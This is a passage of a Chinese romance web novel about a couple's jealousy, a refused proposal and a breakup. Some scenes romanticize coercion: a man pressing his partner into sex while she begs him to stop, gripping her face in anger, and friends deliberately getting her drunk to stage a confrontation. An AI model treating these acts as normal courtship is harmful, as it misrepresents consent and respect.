商聿行停下来,仔细观察她的神情,不满道:“宝贝,你在走神?” 他笑了,笑意没有直达眼底,嗓音低沉浓稠得仿佛从地底爬上来的男鬼:“是我的失职。” 舒以宁出于本能地瑟缩了一下,几乎惊叫着求饶:“别——我没有!” 商聿行看着她瓷白可怜的巴掌脸、看着她莹莹泪光的乌眸,终究没有下这个手。他俯下身亲了亲她的眼睛,安抚道:“嗯,不弄你了,睡吧。” 如过往那些旖旎日夜一般,商聿行抱她去清洗,为她擦干身体、涂抹一层又一层的护肤品,不厌其烦。 关了灯,舒以宁闭着眼躺在床上。 迟迟无法入睡。 她还是没有找到答案,那个关于究竟什么是爱情的答案。 黑暗中,人的感官被无限放大,喜怒哀乐一览无余。 舒以宁感到悲伤,无来由的悲伤。 商聿行也没有睡着。 他太了解她了,夜夜耳鬓厮磨,几乎每一回的愉悦过后,都是他抱着已经酣然入睡的她从浴室回到床上。 他认得她睡梦中绵长的的呼吸声。 也就无比清晰地明白,她没有睡着。 她还清醒着,一直都清醒着。 是什么令她走神? 又是什么令她彻夜难眠? 商聿行紧了紧拥着她的手臂,在黑暗中睁开了眼。 她是自由的风。 兴许对于她而言,他的存在已经变成了枷锁。 困住了她。 他倏然想起几个月前还没复合的时候,他在R&F听见她唱的那首歌。 《LoveMeLikeYouDo》。 EveryinchofyourskinisaholygrayIvegottofind. Onlyyoucansetmyheartonfire,onfire. (你的每一寸肌肤都是我所要追求的圣光) (只有你能将我的心点燃,点燃) 是谁的每一寸肌肤呢? 又是谁点燃的心呢? 漆黑深夜中,商聿行抱紧怀中的女人,心渐渐地沉落下去。 那么,以宁,你唱这首歌的时候,想到的究竟是你哪一段的感情? 第73章 舒以宁最近睡眠不好,连带着精神也有点萎靡。许夏天便提议带上各自的男人,一块儿去德清野外露营,从大自然中摄取一番能量。 邢南听许夏天说是要给舒以宁补充能量,于是就自然而然地把楚思然和王樾也给喊上了。 三个帐篷,舒以宁与商聿行的在最东边,邢南和王樾的在最西边,中间夹了个帐篷让许夏天和楚思然睡得安稳些。 男人们给帐篷里搬床垫,女孩们在河道边烧烤。 忙活完,王樾一屁股坐到舒以宁旁边的石头上,苦恼道:“哎你说,我跟南哥睡一块儿算怎么个回事?夏夏不会记恨我吧?” 舒以宁让他起来,往折叠椅上坐,石头上脏。 王樾于是拍了拍屁股,坐到许夏天与楚思然中间的那张空着的折叠椅上,嘴里说着:“要不夏夏你和南哥睡,我跟楚楚凑合一个帐篷好了。” 楚思然拿起签子对着他的脸,微笑:“想死是吧?” “我,我开玩笑呢。”王樾忙举起双手。 许夏天转过头望了一眼不远处正在铺各自帐篷中床单被褥的商聿行与邢南,重点看了会儿邢南,然后回过头叹了口气,丧丧地说:“不怕你们笑话,我跟他,都还没睡过一张床。” 王樾大惊:“我草?” 楚思然:“你闭嘴。” 王樾不服:“我什么都没说呢。” 楚思然朝他翻了个白眼:“那也闭嘴。” 舒以宁起身走过去,蹲在她身边,先看了一眼不远处的邢南,然后才小声问:“那我们今晚帮帮你?就是这儿有点简陋,你介意吗?” 楚思然蹙眉:“这儿不行吧,一点动静不都听见了?” 王樾伸出食指,凑到楚思然眼前晃了晃,一脸欠扁地优哉游哉:“你们懂什么?在这儿才刺激!你们想啊,帐篷外都是认识的人,夏夏只能闭紧嘴巴不敢哭出声音,多好玩儿啊!” 许夏天:“……” 许夏天:“王樾!我要鲨了你!” 许夏天:“别跑,你给我站住!” 王樾“啊啊啊啊啊”的大叫声散在了轻轻扬起的风声里。 ** 真要助攻邢南与许夏天睡同一个帐篷,其实很简单。改一改帐篷分配,让王樾与商聿行一间,舒以宁和楚思然睡就是了。 但四人小组最终还是放弃了这个计划。 晚上围着篝火吃烧烤,喝了点酒,一行人在河道边放了烟花。 十一点半,各自钻进帐篷中。 微风吹动着枝叶,一片沙沙声,连地上的草都有轻风的声音。 溪水孱孱,虫声鸣鸣。 舒以宁睡在商聿行的胸膛上,玩着他宽厚的、带着薄茧的大掌,“邢南很尊重夏夏。” 商聿行敛眸,握住她的手腕,“我不尊重你?” 舒以宁手上被迫停了动作,十分客观地评价道:“你这个人,太重欲。” 商聿行低头吻她的手背,轻轻问:“那你喜不喜欢?” 舒以宁看着他鸦黑纤长的睫毛,弯了弯唇角,故意不说喜欢。 “再说一遍?”商聿行抬起眼,直直攫住她狡黠的目光。 舒以宁扬起笑,眉眼弯弯:“我不喜欢,我才不喜欢。” “再说?” “啊哈哈哈哈哈,你别弄我,哈哈哈哈哈……” “再说?” “哈哈哈哈哈哈,商,商聿行,不要,哈哈哈哈哈哈……” 明明是在挠痒痒,在外人看来,却又是另一番风味了。 王樾拉开帐篷,钻出个脑袋来,与隔壁帐篷露出的另两个脑袋对视。 “这么刺激的吗?”王樾说。 许夏天掏出手机:“我得给他们录下来。” 楚思然倒是很清醒,一语道破:“他们俩这是在打闹吧?” “不管,先录下来再说,明天好好嘲笑以宁一顿!哈哈哈。” 帐篷内,邢南躺着跷二郎腿,唇角带笑地给商聿行发了条微信消息:[阿行,悠着点啊,这么多人看着呢。] ** 在德清露营过完周末,第一个工作日,舒以宁就又遇到了纪赫松。 这回是他跟着专业课的一位老师来西岸看展,偏巧不巧,就遇到了舒以宁。 纪赫松扬起一张小奶狗的笑脸,朝她扑过来:“姐姐!” 旁边同事调侃舒以宁:“换男朋友了?这回这个挺可爱啊,又帅又可爱的。” “没,只是世交家的弟弟。”舒以宁笑着澄清。 纪赫松挺有分寸,虽然是朝她扑过来,但在碰到她以前就身手敏捷地停住了。 “你也来看展啊?” 舒以宁笑道:“我在这里工作。” “这么厉害?我都看不懂这些画,你可以给我讲解吗?”纪赫松回头指了指另一边的一群人,“我和我老师同学一块儿来的,今天下午是我们学校公休。来这一趟我可以混二类学分,回去随便写点收获感言,还能再混点平时分。” 舒以宁不由笑话他:“看不懂你还来?国内二类学分这么难拿吗?我还以为随便听听讲座就有了。” 纪赫松笑道:“我不喜欢听讲座,我宁愿在外面转转。” 舒以宁于是就带着他参观了一路。 下班后,舒以宁留在馆内写色彩展的巡展总结,写完后又改了两遍,这才回去。 商聿行今天回来得倒是挺早,还煎牛排做晚餐,酒也已经提前醒好了。 舒以宁展开手臂环住男人颀长的脖颈,笑着夸他:“商聿行,你真是宜家宜室。” 以后谁要是能嫁给你,肯定能被你照顾得很好。 当然,后面这句她自然不敢说出来。 然而,就在她内心中默念了这么一句话以后,商聿行轻轻“嗯”了一声,接着,他用很稀松平常的口吻平铺直叙道:“以宁,我们结婚罢。” 舒以宁环抱他脖子的手臂僵住了。 商聿行任她抱着,没有动,也没有再发出声响。 时间一分一秒地过去,直到舒以宁手臂都酸了。 她松开手臂低头揉了揉,不去看他的眼睛,勉强露出一个笑:“怎么又突然提这个?” 舒以宁不知不觉中加重了“又”这个字音,自己毫无觉察。 商聿行垂下眼睫,掩盖住黑眸中的情绪,淡声说:“先吃饭吧。” 两个人各怀心思,一顿浪漫的晚餐吃得味同嚼蜡。 吃完饭,商聿行收拾了餐厅与厨房,舒以宁靠在沙发里看了一集纪录片。 到了睡觉时间。 舒以宁先洗完的澡,等商聿行洗完澡一上床,她就主动靠过去。 她亲了亲他紧绷的下颚线,哄道:“商聿行,你不要生气。” 男人骤然开口问:“你没有事瞒着我吗?” 舒以宁在脑海中过了一遍,很快就锁定了一件事。 肖寂。 商聿行他这么在意肖寂,很久以前还为误会她不肯删肖寂微信而大动肝火。 好了,她现在可以确定他知道这件事情了。 舒以宁咬了咬嘴唇,承认:“……有。” 商聿行:“所以呢?” 舒以宁坦然认错:“我不该背着你和肖寂见面,对不起。” 她不喜欢解释太多,见了就是见了,不应该就是不应该。 商聿行将其视为一种破罐子破摔。 她消极的认错态度,就像明晃晃地告诉你—— 看,我就是这样一个人;既然被你发现了,那我道歉,但我就是这样,没什么好多解释的。 商聿行冷着脸,扣住她肩膀往下按。 第74章 舒以宁脑袋“轰”地一声,简直就要嘶吼出来:“商聿行!你在做什么!” 舒以宁胸腔剧烈起伏,声音忍不住颤抖:“求你了商聿行,我真的知道错了。求求你了。” 商聿行面无表情:“我听不见。” 舒以宁:“……” 舒以宁紧紧抓住他的衣领,闭上眼睛,强迫自己将注意力转移出去。 她回忆起过年回来,她站在他的办公室里,他为着肖寂吃醋。 啊,原来一直吃着醋呢。 傻子。 不过就是一个肖寂,她早就不放在心上了,犯得着么。 这个傻子。 “宝贝,你又在走神?”男人温热的唇贴着她耳朵问。 他一般很少喊她“宝贝”,低沉磁性的这把好嗓子旖旎咬出“宝贝”这两个音节时,撩人得能要人命。 舒以宁睁开水光潋滟的桃花眼,偏过头,去吻他的下颚骨。 “去洗澡好吗,商聿行?” …… 夜色如浓墨侵入水面,层层叠叠渲染开来。 商聿行靠在酒柜旁的处置台上喝威士忌。 他不由自主地又想起了商砚廷。 商砚廷好像早早地就看穿了他与舒以宁的这段关系,很早之前,就留给了他一句话—— “阿行,想要留住一个没那么爱你的人,光靠深情和温柔是不够的。” 商聿行抿了一口威士忌,修长的手指搭在岩石杯上,一下一下轻点杯口。 半干的黑发垂落在额头,遮住了他阴鹜的眼。 内心深处的野兽,一触即发。 他死死按压着,下眼睑不受控制地轻微抽搐。 他不是商砚廷,他不能做那些事。 商砚廷一次又一次对他说那些暗示性的话语,不就是为了逼疯他?他和商砚廷有着本质上的不同,他不能落入他的圈套里。 舒以宁在床上躺了会儿,恢复些许精力,也从卧室出来找酒喝。 她出来时,商聿行已经勉强冷静下来。 两个人早C晚A,靠在一块儿享受alcohol(酒精)带来的醇厚与层次感,从中寻找短暂逃离情绪的解脱。 商聿行用三叉冰锥亲手凿了一颗冰球丢进舒以宁的岩石杯中,冷白长指勾起威士忌酒瓶,倒了薄薄一层。 他淡淡道:“去年你住过来的第一晚,我们也在这里,一块儿喝酒。” 舒以宁伸手拎起岩石杯,冰冷的烈酒缓缓入喉。 她喝得很慢,商聿行已经在自己的酒瓶中又倒上了。他用杯口轻轻碰了碰她的杯底,仰头一口饮尽。 舒以宁终于喝完了杯中的酒,放下酒杯。 商聿行问她:“还喝威士忌?你的酒还喝么?” 酒柜中已经珍藏了好几瓶她的喜好,有小甜酒,也有稍烈一些的。 舒以宁摇摇头,左手撑着脸,突然说:“商聿行,我来的那天,那晚我喝醉了。不过,我还记得你让我答应了你什么事情。” 想了想,又补充:“以摸你的肌肉为诱饵。” 她的目光落到他松松垮垮的睡袍带子上。 现在已经没有人能比她更熟悉在这黑色睡袍下是怎样强劲有力的一段公狗腰。 以及,怎样一副人鱼线没入内裤的好风景。 “所以,”舒以宁抬起脸,看着他漆黑如潭的双眸,“那晚,你究竟要我答应了什么呢?” 商聿行对上她的眼睛。 餐酒吧这儿没有开顶灯,壁灯发散出幽暗虚无的微光。映在男人棱角分明的脸上,给他的五官镀上了一层犹如神邸般的晦暗。 他的黑眸深不见底,吞噬着周围所有的光,穿透她的躯体,钉住她内里的灵魂。 “那晚你向我承诺,从今往后,只摸我一个人的腹肌。” 舒以宁避开他的眼睛,目光落在了他近乎冷酷的唇线上。 “酒后胡言乱语。”她轻轻说,伸手打开了一盏温暖的筒灯。 她没有当真,并且,不愿意认下。 轻飘飘一句话,含糊过去,就揭过了她的承诺。 “呵。”耳畔传来商聿行冷冽的一声低笑。 接着,舒以宁听见他沉声说:“你还想摸谁的?哪天和我分手了,就回去找男大学生是吧?” 舒以宁深吸一口气,说:“商聿行,我不想和你吵架。” 他们两个之间没有过真正意义上的吵架,她也不喜欢做无谓的争吵。 “被我说中了?”他又冷笑了一声,刺道:“舒以宁,你把我当成什么?你不会还以为你能在我这全身而退吧?做什么千秋大梦呢,舒以宁。” 舒以宁心脏一紧,抬眼,目光重新聚焦到他那双冷意十足的深眸上。 他的眸色很重,凝着久居高位者无声的震慑。 几分平静,几分冷酷,深不见底。 筒灯温馨慵懒的暖黄色灯光照在他身上,与周遭的暗夜层次分明。 舒以宁头一次发现,他与商砚廷不愧是亲生父子,身上与生俱来的气场与威慑力竟这般得相像。 令人望而生畏。 可是她,从来都是出软不吃硬的性子。 舒以宁缓缓张开嘴巴,她听见自己的声音平静地说着残忍的肺腑之言。不是吵闹,更不是气话;字字句句,都是她的真实想法—— “好,那我告诉你。如果哪天分手了,我单身,想和谁谈,和谁接吻,和谁躺在一张床上,都是我的自由。” 第75章 微弱的灯光,空荡荡的屋子。 地上没有清理的玻璃碎片。 舒以宁缓慢地抿了一口酒杯中的威士忌,脑袋中袭来一阵阵前所未有的疲惫。 抽走了她几乎所有的力气。 什么都不想去想,她只想一个人躲一躲。 好在他生了不小的气,砸了酒杯,大半夜一个人跑出去了。倒是正好把这儿留给她,省得她还要出去。 男人这种生物,还真是麻烦。 总要纠缠,非要有个结果。 人生明明那么漫长,又何必急于绑定呢。 享受当下真实存在的快乐不好么? 非要这样。 扫兴,还动不动就要吃醋生气。 舒以宁浅浅一层薄酒喝了很久,一直喝到酒杯中的冰球都快融化得瞧不见影子。她慢慢挪回主卧,没有漱口就爬上了床。 被子上还残留着男人身上浅淡的雪松气息。 舒以宁躺进被子里,将脑袋往里钻了钻,闭上了眼睛。 翌日醒来,一看时间,才凌晨五点半。 手机上没有消息,床边也没有人回来。 舒以宁点开商聿行的头像,看了一会儿,心道:那就死外面,别回来了。 遂随意丢下手机,重新躺回了被窝里。 ** 商聿行一连三天没有回世纪城住。 他名下不止一处房产,但他偏偏住在了商盛总裁办内里的隔间。 那江路南和肖岳,就是想不知道都不行了。 “和舒小姐吵架了?”肖岳汇报完工作,看着商聿行冷淡料峭的侧脸,小心翼翼问。 “出去。” 肖岳从总裁办出来,慢悠悠晃到江路南那儿,用下巴指了指总裁办的方向,问:“又怎么了?” 江路南好心提醒:“总裁这两天脾气不好,您尽量悠着点。” “晚了,我刚才在他面前问他是不是和舒小姐吵架了,他让我出去。” 江路南叹了口气,轻声说:“自从和舒小姐在一块儿,情绪全在脸上了。” 肖岳觉得有趣,“到底会是什么事,能让他气成这样?舒小姐呢?没来哄一哄总裁?” 江路南一脸不赞同地瞅了肖岳两眼,说:“舒小姐是女孩子,哪能让女孩来哄人。” “那难不成你和我来哄?不被他踢出来都算他脾气好了。”肖岳想了想,“依我看,这回应该是舒小姐那边做了错事,惹着总裁了。你让Karina发个微信过去,探探口风。总这么着僵着,也不是个事。” ** 舒以宁晚上十点半与王樾他们聚完,回到世纪城。 商聿行还是没有回来住。 她在玄关换了鞋,进浴室洗澡洗漱。 做完护肤,就到了十一点半。 手机上有Karina发来的关怀:[舒小姐好久没来公司啦,我们都好想见您呀,明天来喝下午茶吗?肖总请客。] Karina主动给她报告商聿行行踪:[总裁最近工作好忙哦,天天住公司呢。总裁肯定也很想见到舒小姐!] 舒以宁看着“住公司”三个字,弯了下唇角。 狗东西,看你能忍到什么时候。 她回:[好,我明天下午有空的话就来,下午茶我请。] Karina立马回了一张跳脱的乌萨奇表情包。 舒以宁又点开了商聿行的头像,看了一会儿,又点掉了。 她刚放下手机打算入睡,微信语音通话的铃声就响了起来。 本以为是商聿行,一看,竟然是纪赫松。 纪赫松大半夜打她电话做什么?有什么事是不能发个文字消息说的? 舒以宁虽心生疑惑,但还是按下了接听键。 “喂。” 对面一开始并没有什么声音,静悄悄的。 舒以宁正打算开口问他是不是打错了,骤然听见了一阵细微的啜泣声自电话那头传来。 断断续续,呜呜咽咽,听得人有些不好受。 “……纪赫松?”舒以宁试探着问。 “姐姐,你说,我活着是不是就是一个错误呢?” 电话那头的人一边低泣,一边开口。 舒以宁正了正神色,问道:“怎么回事?你爸妈……怎么了吗?” 纪赫松的哭声大了一点:“是不是,是不是只有我死了,他们才会满意?” 舒以宁攥紧手机:“纪赫松,你在哪儿?” 纪赫松仿佛没有听见她的话,兀自伤感着:“什么都是假的,他们根本不相爱,我,我,我就是一个商品,呵,呵呵呵……一个可笑的商品……” “纪赫松,你在哪里?你不要冲动,你先告诉我你在哪里?” 最终还是酒吧酒保看不下去,在电话那头给她报上了酒吧名字和位置。 纪赫松是在滨江路一家清吧喝闷酒,舒以宁找到他的时候,他已经醉得眼神都迷离了。看见舒以宁过来,他扯着唇角笑,说着大言不惭的话:“姐姐,你和我结婚吧,反正这个圈子里都是玩儿,哪有什么真感情啊,哈哈哈。” 舒以宁没和醉鬼计较,伸手夺过他手里的酒杯搁到一边,“你住哪儿?” 纪赫松孩子气地噘了下嘴,脑袋趴在吧台上不动了。 舒以宁没办法,只好坐下来打电话给宋正阳,和他讲了这事儿。 宋正阳叹了一口气,说:“他爸妈在闹离婚,闹得厉害。做了半辈子夫妻的人,现在因为外头有了个,要死要活的。好好的恩爱夫妻闹成这样,他心里头肯定不好受。” 舒以宁呼吸一滞,望着纪赫松的眼神也飘忽了起来。 恩爱夫妻,她的父亲母亲在最开始的时候,又何尝不是圈子里令人歆羡的恩爱夫妻呢? 纪赫松撑起头,又在闹了,闹着要喝酒。 电话那头的宋正阳听见了,说:“以宁你等等,我这就过来。” ** 宋正阳到的时候,舒以宁已经喝醉了。 她喝得不少,颇有一种感同身受、借酒浇愁的意味,单手撑着脸,乌眸水润,眼尾带着点潋滟的红。 "再来一杯。"她伸出手指对酒保比划,声音软软的。 纪赫松坐在一旁看着她,眼睛不复方才的迷离。 暗处,周嘉皓单手插兜,望着不远处的两人,说:“让纪赫松又说了点引她难过的话,她心事不少,喝多了。” “嗯,可以喊商聿行过来了?”宋正阳看着舒以宁那副醉得不清醒的愁闷样子,心里头有点不好受,又不想别开眼去不多看。 长痛不如短痛。 这个道理,他得比她明白。 “用她手机发过消息了。”周嘉皓朝台上的驻唱女歌手点了点头,“驻唱歌手是我的人,你一会儿看着吧。这回商聿行要再忍得下去,我敬他是条汉子。” ** 酒吧灯光调得很暗,各色酒瓶折射着朦胧的光,在微醺的空气中轻轻摇曳。舞台中央的追光灯落在驻唱女歌手的身上,扎实的胸腔共鸣推着醇厚似酒的嗓音一声一声吟唱。 客人来往的身影时而清晰,时而模糊。 舒以宁的神色隐在晦明晦暗的灯影中,看不分明。 她在摸那个男人的脸。 商聿行心口一堵,心跳都停了半拍。 他快步上前,扼住她伸出去的那只手往怀里一拽,另一只手条件反射般推向那男人。 果然,是那个年轻漂亮的男孩。 商聿行将他推到地上,睇了一眼,仿佛在看一件死物。 一个醉鬼,另一个也是醉鬼。 商聿行的脸冷得犹如积年冰峰,身上散发出的那种近乎实质的寒意令并不清醒的舒以宁都不由颤了颤。 她被他拽进怀里,在酒精的麻痹下,整个人脑袋都是一片混沌。 但她还是抬起了眼,望着他棱角分明的冷峻下颚线,作死般呢喃: “商聿行,你爱我吗?” “你爱我爱到什么都愿意给我吗?” 商聿行垂眸看着她轻轻颤动的眼睫毛,喉结轻滚,嗓音中隐含两分怒意:“给你,你倒是说说,要我给你什么?” 舒以宁抿起唇角,露出一个要哭的表情,很是委屈的模样:“你爱我,那你能不能……给我自由?” 不要婚姻,永远都不要。 “啪”一声,商聿行仿佛听见了自己身体里哪个部位破碎的声音。 台上的驻唱女歌手用细腻婉转的嗓音唱着富有叙事感的歌曲:“爱情是流动的,不由人的,何必激动着要理由……” 是啊,她的爱情,是流动的。 只是短暂地在他这儿停留了一段时间。 爱过以后,就要流向下一个地方了。 这就是舒以宁。 这就是原原本本的舒以宁。 说她负心也好,说她薄情也好,说她狗改不了吃屎也好。 这就是舒以宁。 没有人可以成为她人生中的例外。 商聿行感到一阵悲凉。 时至今日,他才终于看清了。 他的梦终于醒了。 “我把真心捧出来,不是给你践踏的。”商聿行眸色微暗,大掌掐住她的腮帮子,几乎是嘶吼出来:“舒以宁,谁给你的胆子来玩弄我的感情?” 他目眦欲裂,声声质问:“好玩么舒以宁?玩弄男人的感情,就这么好玩?” 舒以宁喝醉了,醉得糊涂,小小一张脸被卡在他的虎口里,只知道睁着醉意迷离的大眼睛瞪他。 商聿行深深地望着她。 在这段感情里,他一步一步往前走,为她,一次又一次打破原则。 到头来,不过是她万千追求者中泯然众人的一个。 她究竟把他当作什么? 寂寞无聊时的一时消遣? 笑话。 没想到他商聿行有朝一日会栽在一个女人手里,一而再、再而三的,变成一个彻头彻尾的笑话。 “那就到这里了,舒以宁,我们就到这里了。”他松开手掌,任由她随着惯性,整个人往他身上倒。 “就到这里吧,舒以宁,我还你自由。” “我把你还给你自己。” 舒以宁还不知道发生了什么,她脑袋灰灰沉沉,但还勉强能认出眼前的男人。她伸出长臂环住他颀长的脖颈,呢喃:“商聿行,商聿行……” 在这深沉夜色之下,仿若挽留。 商聿行抬起眼眸漫无焦距地望着半空,没有再看靠在肩头的女人一眼。 这是他留给自己的,最后体面—— 作者有话说:本章今天发红包[星星眼][星星眼] 第76章 Karina半夜接到江路南的电话,千里迢迢跑出来从一脸冷漠的BOSS身上接过舒以宁,将她送到了酒店。 她非常负责地给舒以宁做了卸妆和基础的护肤工作。 走出总统套房时,已经过了凌晨两点钟。 Karina一通电话打过去,向江路南汇报:“已经安顿好舒小姐,舒小姐睡下了,没有醒。” 江路南:“好的,辛苦了。” Karina疲惫得眼皮都在打架,意识不清,但忍不住吐槽:“大小姐和大BOSS究竟又怎么了?吵架了?” 江路南:“这个月总裁会给你加三千块奖金,走总裁的私人账户。” Karina立马精神了,诚恳道:“下次有这种活,麻烦还找我,谢谢!” 江路南结束通话后,立马给商聿行发了微信消息报告:[舒小姐已安全抵达酒店,一切顺利。] 许是受了Karina活力满满的回复的影响,江路南内心挣扎了一会儿,又发了一条消息:[Karina说下次有这种活,麻烦总裁还是找她,她很乐意为总裁效劳。] 商聿行始终没有回复消息。 翌日八点四十,商聿行准时在上班时间前抵达公司。 江路南习惯比老板早来半小时,眼下正磨好了咖啡,坐在茶水间的落地玻璃窗前解乏。 商聿行一来,他立马敏锐地走出茶水间,迎上去:“总裁早上好。” 商聿行身型笔直挺拔,从侧面看精神得很。 只不过,江路南还是看出了他眼下有淡淡的乌青色。 他略一颔首,“早。” 江路南觉察出他细微的变化,绝口不提“舒以宁”三个字。 等江路南磨好咖啡送进总裁办,商聿行已经看完了战略投资部最新一版的可行性研究报告与法律意见书。 商聿行神色清冷:“把朱成辙叫来,还有谭晴。” 江路南放下咖啡,应道:“好的,总裁。” 总裁办的会一直开到中午十二点半,谭晴出来时特意问江路南:“总裁怎么回事?吃枪药了?” 她往秘书处望了望,“和以宁有关?不会又吵架了吧??” 江路南笑道:“这回我是真不知道。” 谭晴看向他后方,“Karina?” Karina挠挠头,佯装无辜:“啊?发生什么事情了吗?” ** 舒以宁一觉醒来已经是下午两点钟。 希尔顿总统套房温暖木色的稳重奢华,呈现出一种令人安心的熟悉感。 舒以宁平躺了好一会儿才渐渐清醒过来。 身上已经套着肉桂色真丝绸缎睡袍,身上也没有宿醉未处理的不适感。 她在脑海中回想了一会儿,只隐约记得商聿行的身影。 舒以宁没有多想,起床收拾了一会儿,沐浴、护肤、化好妆,时间就到了三点多。 她还记着Karina邀她今天下午去商盛喝肖岳请的下午茶的事。 商盛总部园区就在希尔顿旁边,舒以宁踩着高跟鞋走进商盛,却被拦在了闸机口。 “舒小姐,很抱歉,系统显示您已经从商盛离职了。”闸机口值班的工作人员微笑解释。 舒以宁微微一愣,一头雾水,不知道究竟又发生了什么事。 她自然不会去为难别人,礼貌问道:“那我可以见一下商总吗?” 工作人员见状,说:“江特助已经在下来了。” 他们行政部一早就收到了总裁亲自下的通知,路过前台时简短的一句“我不想再看见舒以宁出现在商盛”。没有下达命令,但言下之意已经十分明确。 行政总监得知后,不敢直接去问商聿行,于是就征询了一下江路南的意见。 江路南不知其中细节,但知道商聿行显然动了气,便让行政部的人如果遇上舒以宁来公司,一定要及时通知他。 舒以宁等了不到两分钟,江路南就下来了:“舒小姐。” 舒以宁语气很平静:“商聿行什么意思?” 江路南为难道:“舒小姐,实不相瞒,我也难以窥见总裁目前的想法。” 舒以宁自然不至于看不出来这里头的深意。 “好,那劳烦你告诉他,我和他,”她淡淡一笑,“到此为止。” ** 许夏天瞪大眼睛:“所以说,就是他想结婚,你不愿意,所以你们就分了??” 舒以宁点点头。 许夏天义愤填膺:“渣……” 舒以宁乌黑明亮的双眸看着她,双目炯炯。 许夏天喉咙里的“女”字瞬间转了个弯:“渣男!” 她清了清嗓子,振振有词道:“谈感情就谈感情,能不能不要动不动就逼婚?两个人在一起最重要的是什么?是情动,是感觉,干嘛非要加上不必要的束缚?商聿行真是太不懂事了,配不上你!” 舒以宁:“你这话说得确实很有道理,但怎么听上去有点奇奇怪怪的?” 许夏天当即反客为主:“不是他的问题难道还能是你的问题?” 舒以宁握拳,怒道:“没错,就是他的问题!” 许夏天掏出手机,立马道:“那我帮你打个电话,好好骂骂他!” 舒以宁期待地看着她。 许夏天鼓了鼓腮帮子,弱弱道:“……你不拦着我吗?” 舒以宁:“别废话,快打。” 许夏天默默收起手机。 舒以宁:“?” 舒以宁按住她的手,一脸严肃催促道:“快打,我监督你。” 许夏天:“……” 我不敢啊,大小姐。 过了一会儿,许夏天抬起眼,笑眯眯开口:“好了舒小宁,你说!你是不是压根不舍得跟人家分手?被我发现了!” 舒以宁伸回手,挺了挺脊背,倒是没否认:“我是不想分的,但他都已经表明态度了……我要是还纠缠,岂不是显得很没有格局?” 许夏天凑过来眨巴乌眸,不说话。 舒以宁微微蹙眉,推开她的脸:“你干嘛?” 许夏天:“你顶着这张脸去不高兴分手,他难道能忍心跟你分?” 舒以宁正要说话,手机铃声响了起来。 屏幕上显示“江路南”三个字。 许夏天再次把脸凑了过来,“快接快接,说不定他搁不下面子求和,特意让助理来求你。” 舒以宁按下接听键,电话一通,江路南就开口了:“舒小姐,抱歉打扰了,我是江路南。” 舒以宁装高冷:“有什么事情吗?” 江路南先是道歉,然后说:“可能要麻烦舒小姐整理一下落在滨江世纪城的物品,如果有需要帮忙的地方,请尽管联系我。” 他说得十分委婉,好在舒以宁一下子听出来了:“商聿行让我搬出去,是吗?” 江路南笑着喊了一句“舒小姐”,没有正面回答,转而说:“总裁最近半个月不回滨江世纪城,如果您整理时间上不够充足,可以和我联系……总裁的意思是,以舒小姐方便为主,总裁可以等。” 舒以宁笑了笑,若无其事地回道:“好,我会在三天内搬走。” 江路南闻言,愣了一下。 他着实没想到舒以宁会什么都不问,就这么应承了下来。 舒以宁:“没有其他事的话,就先这样了。江路南,谢谢你这段时间的照顾。” 江路南说:“这是我应该做的,舒小姐。” 舒以宁一挂电话,许夏天就迫不及待地开口问:“怎么样?我怎么还听见你说要搬走??” 舒以宁迎着她的目光看过去,平静道:“嗯,商聿行让我搬走。” 许夏天重新拿起手机,“我打给邢南问问。” 她也就认识这么一个方便问一问商聿行情况的人,好在是她关系亲近的男朋友。 “不必了。”舒以宁状似不在乎的笑了笑,转开目光,轻轻抿了一口气泡水:“都是成年人,分手体面点,又不是谁离了谁就活不得。” 许夏天:“你刚刚可不是这么说的。” 舒以宁转回头看着她的眼睛,笑道:“我只是说,我是不想分,但我还没有到缺他不可的地步。夏夏,无论任何时候,男人都只是我们生活中的调味剂,而不是必需品,这是我对你的忠告。” 更是她对自己的提醒。 “你就不想知道他为什么要和你分手?”许夏天心道,就算你不想知道,我其实还是挺想知道的。 舒以宁心中隐隐有所觉察,轻轻道:“大概是嫌我收不了心吧。”她拒绝了他的求婚,她不可能为了他一个人,就放弃自己未来的自由。 就像她自己所说,男人不是必需品,任何时候都不是。但自由是必需品,对于她而言,没有什么比无形束缚更可怕的存在了。 许夏天单手托腮,说:“根据我阅文无数的经验,你迟早浪子回头,追妻……哦不对,追夫火葬场。” 会吗? 舒以宁认真地思考。 不会的。 在她舒以宁这里,没有哪个男人不能成为过去,没有那段感情不能割席。 没有人比她更懂她自己—— 作者有话说:虐了商聿行这么多次,当然会来点追夫火葬场 第77章 舒以宁从滨江世纪城搬了出来。 五月份她生日时商聿行送她的那辆路特斯她没有开走,留在了他的车库中。 接下来几日,舒以宁每天照常吃饭、工作、睡觉,偶尔与朋友们喝酒。王樾楚思然得知她与商聿行又分手了,都不知道该怎么反应才好。秦延昭也听到了消息,打电话来问她需不需要帮助。 但舒以宁能需要什么帮助呢? 不过是一个男人。 天底下,男人多得是,她从来都不缺。 没有谁对于谁来说是独一无二的,是完全不可替代的。 至少在她这里没有。 舒以宁没再见到纪赫松,听宋正阳说,他回家与他父亲那个私生子开战了。舒以宁在微信上给他发消息:[有用得着我的地方尽管提,我们是朋友。] 类似的处境,不一样的处理方式。 纪赫松回:[谢谢姐姐,我一定会赢。] 舒以宁看着他志气满满的回复,不由露出了近段时间来的第一个笑容。 之后,纪赫松没再主动联系过她,她也就没再关注他的事情。 一来是没兴趣再关注,二来,没精力关注。 因为,舒以宁失眠了。 她开始频繁地睡不着觉,晚上孤零零躺在浅水湾鼎苑的床上,辗转反侧、彻夜难眠。没两天,她就搬回了翠湖嘉苑住。但情况依旧没有好转,深夜平躺在床上望着漆黑不见五指的空气时,她甚至可以清晰地听见身体内里难过的声音。 连偶尔回来住一晚的楚桑桑都一下子就看出了她的不对劲:“以宁,你要不要去医院看看?” 舒以宁懒得怼她,她这两天失眠失得头疼,决定今晚一定要吃褪黑素。 如此又过了三天,许夏天提出一个大胆的猜测:“你会不会是习惯了商聿行,所以才失眠?” 舒以宁下意识反驳:“怎么可能?我又没有皮肤饥渴症。” “那你要不重新谈一个?我听邢南的意思,商聿行这回是真的放下了,绝对不会再来干涉你了。”许夏天思来想去,认为当下肖寂最为合适,其他人还得花时间去认识、交往。 不知怎的,舒以宁心里头腾出的第一个念头竟然就是反感。 不管是肖寂,还是去认识新的人。 许夏天劝她:“试试吧,你怕什么?” 舒以宁当然没在怕的。 她很快就通过朋友,认识了一个刚回国的音乐剧演员。 一米九,比商聿行还要高上一点,脸过关,身材也很好。 认识后的第四天,舒以宁带着他去R&F找邢南许夏天喝酒。 碰巧,商聿行也在。 商聿行见她来了,起身扣上西服打算走,眼神无波无澜。 